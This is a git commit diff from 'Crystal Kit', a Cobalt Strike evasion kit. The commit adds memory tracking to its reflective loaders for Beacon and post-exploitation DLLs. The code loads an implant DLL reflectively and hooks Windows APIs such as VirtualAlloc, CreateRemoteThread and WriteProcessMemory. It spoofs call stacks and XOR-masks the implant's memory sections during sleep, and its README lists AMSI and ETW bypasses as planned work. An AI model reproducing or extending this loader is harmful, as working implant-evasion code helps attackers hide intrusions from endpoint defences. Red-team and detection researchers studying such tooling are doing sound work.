add memory tracking

This commit is contained in:
Rasta Mouse
2025-10-13 14:15:39 +01:00
parent 46931218f9
commit 38055fa430
12 changed files with 436 additions and 183 deletions
+2 -2
View File
@@ -26,8 +26,8 @@ post-ex {
There are lots of improvements that can be made to this codebase. Some that come to mind include:
- [ ] Add BUD-style structures to track memory allocations.
- [ ] Don't use RWX memory for Beacon.
- [x] Add BUD-style structures to track memory allocations.
- [x] Don't use RWX memory.
- [ ] Add GMA & GPA patching to the postex loader (`smartinject` is not yet supported in `stage` for prepended loaders).
- [ ] Add AMSI & ETW bypasses to the postex loader.
- [ ] Add memory freeing code on ExitThread.
+5 -8
View File
@@ -1,5 +1,5 @@
name "Crystal Kit"
describe ""
name "Crystal Kit Postex UDRL"
describe "Evasion Kit for Cobalt Strike"
author "Daniel Duggan (@_RastaMouse)"
x64:
@@ -10,18 +10,15 @@ x64:
make pic
export
preplen
link "my_proxy"
generate $HKEY 128
link "draugr"
load "bin/hook.x64.o"
make object
patch "xorkey" $HKEY
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
export
link "my_hooks"
link "hooks"
push $DLL
link "my_data"
link "postex"
export
+6 -14
View File
@@ -19,6 +19,7 @@
#include <windows.h>
#include <wininet.h>
#include "memory.h"
#include "draugr.h"
#include "proxy.h"
#include "hash.h"
@@ -39,18 +40,8 @@ DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS,
/* store resolved functions */
void * g_ExitThread;
/* patched in from loader.spec */
char xorkey[128] = { 1 };
void applyxor(char * data, DWORD len) {
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
/* some globals */
char * g_dllBase;
DWORD g_dllSize;
MEMORY_LAYOUT g_layout;
SYNTHETIC_STACK_FRAME g_stackFrame;
void init_frame_info()
@@ -976,13 +967,14 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
return result;
}
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
g_dllBase = dllBase;
g_dllSize = dllsz;
if (layout != NULL) {
g_layout = *layout;
}
init_frame_info();
}
+145 -54
View File
@@ -29,6 +29,7 @@ __attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
#include "hash.h"
#include "resolve_eat.h"
#include "proxy.h"
#include "memory.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
@@ -126,11 +127,21 @@ typedef struct {
char value[];
} RESOURCE;
char __DLLDATA__[0] __attribute__((section("my_data")));
char __PICDATA__[0] __attribute__((section("my_proxy")));
char __HOKDATA__[0] __attribute__((section("my_hooks")));
typedef struct {
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[12288];
#endif
} PICO;
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
char __POSTEX__[0] __attribute__((section("postex")));
char __DRAUGR__[0] __attribute__((section("draugr")));
char __HOOKS__[0] __attribute__((section("hooks")));
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
char * loader_start() {
#ifdef WIN_X86
@@ -223,79 +234,159 @@ void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect
#include "debug.h"
#endif
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData, LPVOID loaderArgument)
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
{
char * hooks;
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
/* Time to load the hook PICO */
hooks = GETRESOURCE(__HOKDATA__);
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
#ifdef DEBUG
PIC_STRING(picosz, "[POSTEX] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
#endif
for (int x = 0; x < numberOfSections; x++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
/* Load it into the layout */
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
/* Make the code section RX */
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
/* set new permission */
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
/* Call its entry point */
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
/* track memory */
region->sections[x].baseAddress = sectionDst;
region->sections[x].size = sectionSize;
region->sections[x].currentProtect = newProtect;
region->sections[x].previousProtect = newProtect;
/* Now load the DLL */
LoadDLL(dllData, dll, layout->dllbase);
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
/* Get its entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
/* yolo this RWX for now */
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
/* Call it twice */
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
/* advance to our next section */
sectionHdr++;
}
}
void setupProxy(LPVOID loaderArgument)
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout, void * loaderArgument)
{
WIN32FUNCS funcs;
char * dll;
DLLDATA dllData;
LAYOUT * layout;
RESOURCE * pic;
char * hookSrc;
PICO * hookDst;
char * dllSrc;
DLLDATA dllData;
char * dllDst;
/* Time to load the hook PICO */
hookSrc = GETRESOURCE(__HOOKS__);
/* Allocate memory for it */
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
/* Make the code section RX */
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
/* Fill layout info */
layout->hooks.baseAddress = (char *)hookDst;
layout->hooks.size = sizeof(PICO);
layout->hooks.sections[0].baseAddress = hookDst->data;
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
layout->hooks.sections[1].baseAddress = hookDst->code;
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* Get PICO entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
/* Call it to install the hooks */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Now load the DLL */
dllSrc = GETRESOURCE(__POSTEX__);
/* Parse the headers */
ParseDLL(dllSrc, &dllData);
/* Allocate memory for DLL */
dllDst = allocate_memory_threadpool(SizeOfDLL(&dllData), PAGE_READWRITE, funcs);
/* Load it into memory */
LoadDLL(&dllData, dllSrc, dllDst);
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
layout->beacon.baseAddress = dllDst;
layout->beacon.size = SizeOfDLL(&dllData);
/* Fix section memory permissions */
fixSectionMemoryPermissions(&dllData, dllSrc, dllDst, funcs, &layout->beacon);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Get its entry point */
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
/* Call it twice */
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
dllEntry((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
}
void setupProxy(void * loaderArgument)
{
WIN32FUNCS funcs;
RESOURCE * picSrc;
char * picDst;
MEMORY_LAYOUT layout;
/* Resolve functions */
findNeededFunctions(&funcs);
/* Grab the DLL because we need its size */
dll = GETRESOURCE(__DLLDATA__);
/* Grab the Draugr PIC */
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
/* Parse the headers */
ParseDLL(dll, &dllData);
/* Allocate memory for it */
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
/* Allocate memory for everything we'll load */
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
#ifdef DEBUG
PIC_STRING(mem, "[POSTEX] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
#if DEBUG
PIC_STRING(dst, "PIC @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
#endif
/* Grab the Draugr PIC */
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
/* Copy it into memory */
memcpy(layout->draugrpic, pic->value, pic->length);
memcpy(picDst, picSrc->value, picSrc->length);
/* Flip memory to RX */
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(layout->draugrpic);
funcs.Draugr = (DRAUGR)(picDst);
/* Begin filling memory layout info */
layout.pic.baseAddress = picDst;
layout.pic.size = picSrc->length;
/* Carry on loading the rest */
reflectiveLoader(&funcs, layout, dll, &dllData, loaderArgument);
reflectiveLoader(&funcs, &layout, loaderArgument);
}
-3
View File
@@ -203,9 +203,6 @@ DWORD SizeOfDLL(DLLDATA * data) {
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
+20
View File
@@ -0,0 +1,20 @@
#include <windows.h>
typedef struct {
void * baseAddress;
SIZE_T size;
DWORD currentProtect;
DWORD previousProtect;
} MEMORY_SECTION;
typedef struct {
void * baseAddress;
SIZE_T size;
MEMORY_SECTION sections[5];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION pic;
MEMORY_REGION hooks;
MEMORY_REGION beacon;
} MEMORY_LAYOUT;
+7 -7
View File
@@ -1,5 +1,5 @@
name "Crystal Kit"
describe ""
name "Crystal Kit UDRL"
describe "Evasion Kit for Cobalt Strike"
author "Daniel Duggan (@_RastaMouse)"
x64:
@@ -10,18 +10,18 @@ x64:
make pic
export
preplen
link "my_proxy"
link "draugr"
generate $HKEY 128
generate $KEY 128
load "bin/hook.x64.o"
make object
patch "xorkey" $HKEY
patch "xorkey" $KEY
import "LoadLibraryA, GetProcAddress, SpoofStub, RtlLookupFunctionEntry, GetModuleHandleA, VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, GetThreadContext, SetThreadContext, ResumeThread, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, CloseHandle, CreateFileMappingA, MapViewOfFile, UnmapViewOfFile, VirtualQuery, DuplicateHandle, ReadProcessMemory, WriteProcessMemory, ExitThread, CreateProcessA, Sleep"
export
link "my_hooks"
link "hooks"
push $DLL
link "my_data"
link "beacon"
export
+86 -38
View File
@@ -19,6 +19,7 @@
#include <windows.h>
#include <wininet.h>
#include "hook.h"
#include "draugr.h"
#include "proxy.h"
#include "hash.h"
@@ -44,15 +45,8 @@ void * g_ExitThread;
/* patched in from loader.spec */
char xorkey[128] = { 1 };
void applyxor(char * data, DWORD len) {
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
/* some globals */
char * g_dllBase;
DWORD g_dllSize;
MEMORY_LAYOUT g_layout;
SYNTHETIC_STACK_FRAME g_stackFrame;
void init_frame_info()
@@ -339,7 +333,7 @@ ULONG_PTR draugr(PFUNCTION_CALL functionCall)
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
#if DEBUG
dprintf("[BEACON] _VirtualAlloc\n");
dprintf("[UDRL] _VirtualAlloc\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flAllocationType : %d\n", flAllocationType);
@@ -362,7 +356,7 @@ LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationT
LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
#if DEBUG
dprintf("[BEACON] _VirtualAllocEx\n");
dprintf("[UDRL] _VirtualAllocEx\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
@@ -387,7 +381,7 @@ LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
#if DEBUG
dprintf("[BEACON] _VirtualProtect\n");
dprintf("[UDRL] _VirtualProtect\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> flNewProtect : %d\n", flNewProtect);
@@ -410,7 +404,7 @@ BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect,
BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
{
#if DEBUG
dprintf("[BEACON] _VirtualProtectEx\n");
dprintf("[UDRL] _VirtualProtectEx\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
@@ -435,7 +429,7 @@ BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize,
BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
{
#if DEBUG
dprintf("[BEACON] _VirtualFree\n");
dprintf("[UDRL] _VirtualFree\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> dwSize : %d\n", dwSize);
dprintf(" -> dwFreeType : %d\n", dwFreeType);
@@ -456,7 +450,7 @@ BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
{
#if DEBUG
dprintf("[BEACON] _GetThreadContext\n");
dprintf("[UDRL] _GetThreadContext\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
@@ -475,7 +469,7 @@ BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
{
#if DEBUG
dprintf("[BEACON] _SetThreadContext\n");
dprintf("[UDRL] _SetThreadContext\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
dprintf(" -> lpContext : 0x%lp\n", lpContext);
#endif
@@ -494,7 +488,7 @@ BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext)
HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags)
{
#if DEBUG
dprintf("[BEACON] _InternetOpenA\n");
dprintf("[UDRL] _InternetOpenA\n");
dprintf(" -> lpszAgent : %s\n", lpszAgent);
dprintf(" -> dwAccessType : %d\n", dwAccessType);
dprintf(" -> lpszProxy : %s\n", lpszProxy);
@@ -519,7 +513,7 @@ HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lps
HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext)
{
#if DEBUG
dprintf("[BEACON] _InternetConnectA\n");
dprintf("[UDRL] _InternetConnectA\n");
dprintf(" -> hInternet : 0x%lp\n", hInternet);
dprintf(" -> lpszServerName : %s\n", lpszServerName);
dprintf(" -> nServerPort : %d\n", nServerPort);
@@ -550,7 +544,7 @@ HINTERNET WINAPI _InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, I
DWORD WINAPI _ResumeThread(HANDLE hThread)
{
#if DEBUG
dprintf("[BEACON] _ResumeThread\n");
dprintf("[UDRL] _ResumeThread\n");
dprintf(" -> hThread : 0x%lp\n", hThread);
#endif
@@ -567,7 +561,7 @@ DWORD WINAPI _ResumeThread(HANDLE hThread)
HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
#if DEBUG
dprintf("[BEACON] _CreateThread\n");
dprintf("[UDRL] _CreateThread\n");
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
dprintf(" -> dwStackSize : %d\n", dwStackSize);
dprintf(" -> lpStartAddress : 0x%lp\n", lpStartAddress);
@@ -594,7 +588,7 @@ HANDLE WINAPI _CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwS
HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
{
#if DEBUG
dprintf("[BEACON] _CreateRemoteThread\n");
dprintf("[UDRL] _CreateRemoteThread\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpThreadAttributes : 0x%lp\n", lpThreadAttributes);
dprintf(" -> dwStackSize : %d\n", dwStackSize);
@@ -623,7 +617,7 @@ HANDLE WINAPI _CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThrea
HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
{
#if DEBUG
dprintf("[BEACON] _OpenProcess\n");
dprintf("[UDRL] _OpenProcess\n");
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
dprintf(" -> dwProcessId : %d\n", dwProcessId);
@@ -644,7 +638,7 @@ HANDLE WINAPI _OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwP
HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId)
{
#if DEBUG
dprintf("[BEACON] _OpenThread\n");
dprintf("[UDRL] _OpenThread\n");
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> bInheritHandle : %d\n", bInheritHandle);
dprintf(" -> dwThreadId : %d\n", dwThreadId);
@@ -665,7 +659,7 @@ HANDLE WINAPI _OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwTh
BOOL WINAPI _CloseHandle(HANDLE hObject)
{
#if DEBUG
dprintf("[BEACON] _CloseHandle\n");
dprintf("[UDRL] _CloseHandle\n");
dprintf(" -> hObject : 0x%lp\n", hObject);
#endif
@@ -682,7 +676,7 @@ BOOL WINAPI _CloseHandle(HANDLE hObject)
HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName)
{
#if DEBUG
dprintf("[BEACON] _CreateFileMappingA\n");
dprintf("[UDRL] _CreateFileMappingA\n");
dprintf(" -> hFile : 0x%lp\n", hFile);
dprintf(" -> lpFileMappingAttributes : 0x%lp\n", lpFileMappingAttributes);
dprintf(" -> flProtect : %d\n", flProtect);
@@ -709,7 +703,7 @@ HANDLE WINAPI _CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMapp
LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
{
#if DEBUG
dprintf("[BEACON] _MapViewOfFile\n");
dprintf("[UDRL] _MapViewOfFile\n");
dprintf(" -> hFileMappingObject : 0x%lp\n", hFileMappingObject);
dprintf(" -> dwDesiredAccess : %d\n", dwDesiredAccess);
dprintf(" -> dwFileOffsetHigh : %d\n", dwFileOffsetHigh);
@@ -734,7 +728,7 @@ LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, D
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
{
#if DEBUG
dprintf("[BEACON] _UnmapViewOfFile\n");
dprintf("[UDRL] _UnmapViewOfFile\n");
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
#endif
@@ -751,7 +745,7 @@ BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
{
#if DEBUG
dprintf("[BEACON] _VirtualQuery\n");
dprintf("[UDRL] _VirtualQuery\n");
dprintf(" -> lpAddress : 0x%lp\n", lpAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
dprintf(" -> dwLength : %d\n", dwLength);
@@ -772,7 +766,7 @@ SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffe
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
{
#if DEBUG
dprintf("[BEACON] _DuplicateHandle\n");
dprintf("[UDRL] _DuplicateHandle\n");
dprintf(" -> hSourceProcessHandle : 0x%lp\n", hSourceProcessHandle);
dprintf(" -> hSourceHandle : 0x%lp\n", hSourceHandle);
dprintf(" -> hTargetProcessHandle : 0x%lp\n", hTargetProcessHandle);
@@ -801,7 +795,7 @@ BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle,
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
{
#if DEBUG
dprintf("[BEACON] _ReadProcessMemory\n");
dprintf("[UDRL] _ReadProcessMemory\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
@@ -826,7 +820,7 @@ BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lp
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
{
#if DEBUG
dprintf("[BEACON] _WriteProcessMemory\n");
dprintf("[UDRL] _WriteProcessMemory\n");
dprintf(" -> hProcess : 0x%lp\n", hProcess);
dprintf(" -> lpBaseAddress : 0x%lp\n", lpBaseAddress);
dprintf(" -> lpBuffer : 0x%lp\n", lpBuffer);
@@ -851,7 +845,7 @@ BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID l
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
{
#if DEBUG
dprintf("[BEACON] _ExitThread\n");
dprintf("[UDRL] _ExitThread\n");
dprintf(" -> dwExitCode : %d\n", dwExitCode);
#endif
@@ -868,7 +862,7 @@ DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
#if DEBUG
dprintf("[BEACON] _CreateProcessA\n");
dprintf("[UDRL] _CreateProcessA\n");
dprintf(" -> lpApplicationName : %s\n", lpApplicationName);
dprintf(" -> lpCommandLine : %s\n", lpCommandLine);
dprintf(" -> lpProcessAttributes : 0x%lp\n", lpProcessAttributes);
@@ -903,7 +897,7 @@ BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSEC
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
#if DEBUG
dprintf("[BEACON] _Sleep\n");
dprintf("[UDRL] _Sleep\n");
dprintf(" -> dwMilliseconds : %d\n", dwMilliseconds);
#endif
@@ -924,9 +918,9 @@ VOID WINAPI _Sleep(DWORD dwMilliseconds)
call.argc = 1;
call.args[0] = (ULONG_PTR)(dwMilliseconds);
applyxor(g_dllBase, g_dllSize);
xormemory(TRUE);
draugr(&call);
applyxor(g_dllBase, g_dllSize);
xormemory(FALSE);
}
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
@@ -1048,13 +1042,67 @@ char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
return result;
}
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
void applyxor(char * data, DWORD len)
{
#if DEBUG
dprintf("XOR'ing 0x%lp (length %d)\n", data, len);
#endif
for (DWORD x = 0; x < len; x++) {
data[x] ^= xorkey[x % 128];
}
}
BOOL isWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
return TRUE;
}
return FALSE;
}
void xorsection(MEMORY_SECTION * section, BOOL mask)
{
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
DWORD oldProtect = 0;
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
section->currentProtect = PAGE_READWRITE;
section->previousProtect = oldProtect;
}
}
if (isWriteable(section->currentProtect)) {
applyxor(section->baseAddress, section->size);
}
if (mask == FALSE && section->currentProtect != section->previousProtect) {
DWORD oldProtect;
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
section->currentProtect = section->previousProtect;
section->previousProtect = oldProtect;
}
}
}
void xorregion(MEMORY_REGION * region, BOOL mask)
{
for (int i = 0; i < 5; i++) {
xorsection(&region->sections[i], mask);
}
}
void xormemory(BOOL mask) {
xorregion(&g_layout.beacon, mask);
}
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
{
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
